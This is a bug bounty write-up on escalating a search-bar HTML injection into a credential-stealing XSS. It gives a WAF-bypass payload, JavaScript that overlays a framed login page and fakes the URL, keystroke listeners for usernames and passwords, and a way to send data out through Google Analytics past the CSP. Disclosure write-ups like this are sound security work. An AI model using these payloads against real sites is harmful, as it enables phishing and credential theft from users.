Hello
In this post, I will tell you how I was able to escalate the bug from HTML injection to stealing credentials via Google Analytics… well, almost 😉
I was testing the website and inserted “><u>aaa</u> into the main search bar without big expectations.  I was really surprised when I saw aaa.
Next step was to try XSS payload <img src=”x” />. What I saw in response was a 403 error. No luck.
Bypassing WAF
I ran Turbo Intruder in Burp, collected all HTML tags and attributes, and started fuzzing. Some HTML tags were allowed, but whenever I tried to insert some events such as “onerror’, I was always blocked with a 403 error :(.
Next, I tried to bypass the WAF using special characters like %00, %0d, and %0a. Guess what? It worked 🙂 That was the working XSS payload:
<img%20src=x%20o%200nerror=alert(document%00.domain)>Ok, I could report it right away, but I decided to increase the impact. As the session cookie had the HTTP-only flag set, I could not read it with js, so I decided to steal credentials while the users logs in.
Redressing the page
Suppose the search page was on:
https://target.com/search
and the login form was on:
https://target.com/login
I had to redesign the search page to resemble the login page, add listeners that capture the credentials as the user logs in, and send them to the attacker’s site. I framed the /login endpoint into the /search page, styled it with CSS to match the /login endpoint’s appearance, then changed the document title to match the/login page’s title, and finally, changed the visible URL in the browser address bar and history.pushState() command.
That was the code: to iframe the /login page and style the /search page:
document.body.innerHTML = "";
document.body.appendChild(Object.assign(document.createElement('iframe'), { id:'frm',src: 'https://target.com/login',style: 'position:fixed;top:0; left:0;bottom:0;right:0;width:100%;height:100%;top:0;left:0;bottom:0;right:0;border:none;margin:0;padding:0;overflow:hidden;'})); document.title="target.com | account login";
history.pushState("", "", "/login");
Now it’s time for listeners:
iframe=document.getElementById("frm"),iframe.onload=()=>{const e=iframe.contentDocument||iframe.contentWindow.document,n=e.querySelector("input#loginUsername"),o=e.querySelector("input#loginPassword");n&&n.addEventListener("input",(()=>{user=n?.value||"",console.log("username:"+user)})),o&&o.addEventListener("input",(()=>{pass=o?.value||"",console.log("password:"+pass)}))};
Note, I needed to use the iframe onload event, so that the listener waits until the frame content is loaded. Otherwise, the code wasn’t working because it could not find the form fields. I prepared this POC with printing credentials on the dev console. Why?
Bypassing CSP
The CSP blocked the outgoing connections, and I was unable to exfiltrate this data in any way. Without this part, they could say that it is not a vulnerability, as the attacker can’t steal the credentials. I analyzed the CSP headers and noticed that the Google Analytics URL was allowed. This way, I could use it to exfiltrate the data as a Google Analytics event name. So I googled a bit and found this blog post:
https://labs.detectify.com/how-to/using-google-analytics-for-data-extraction/
The easiest way was to intercept the real GA request from my website to the GA server in Burp and change the value of the “en” parameter. This way, I could see the data in the GA panel as the event name. I removed all other parameters from the request here:
POST /g/collect?v=2&tid=>m=&_p=&gcd=&npa=1&dma_cps=&dma=1&cid=&ul=pl&frm=0&pscdl=noapi&_s=1&sid=&sct=1&seg=0&dl=&en=page_view&_fv=1&_nsi=1&_ss=1&_ee=1&tfd=HTTP/1.1
Host: region1.google-analytics.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Priority: u=6
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0
Te: trailers
Connection: keep-alive
And this worked… partially. I mean, it was slow. While experimenting, the data appeared after several hours in the GA panel. Well, I didn’t want to wait due to the possibility of duplication, so I decided to take the risk and send the report. I pointed out that creating a full working POC takes time using GA, so for now, I am providing a console.log-based POC. And they replied there, “No problem – the impact will be marked as High”. So I didn’t have to finish the full POC this time.
Impact: High
Reward: 500 USD
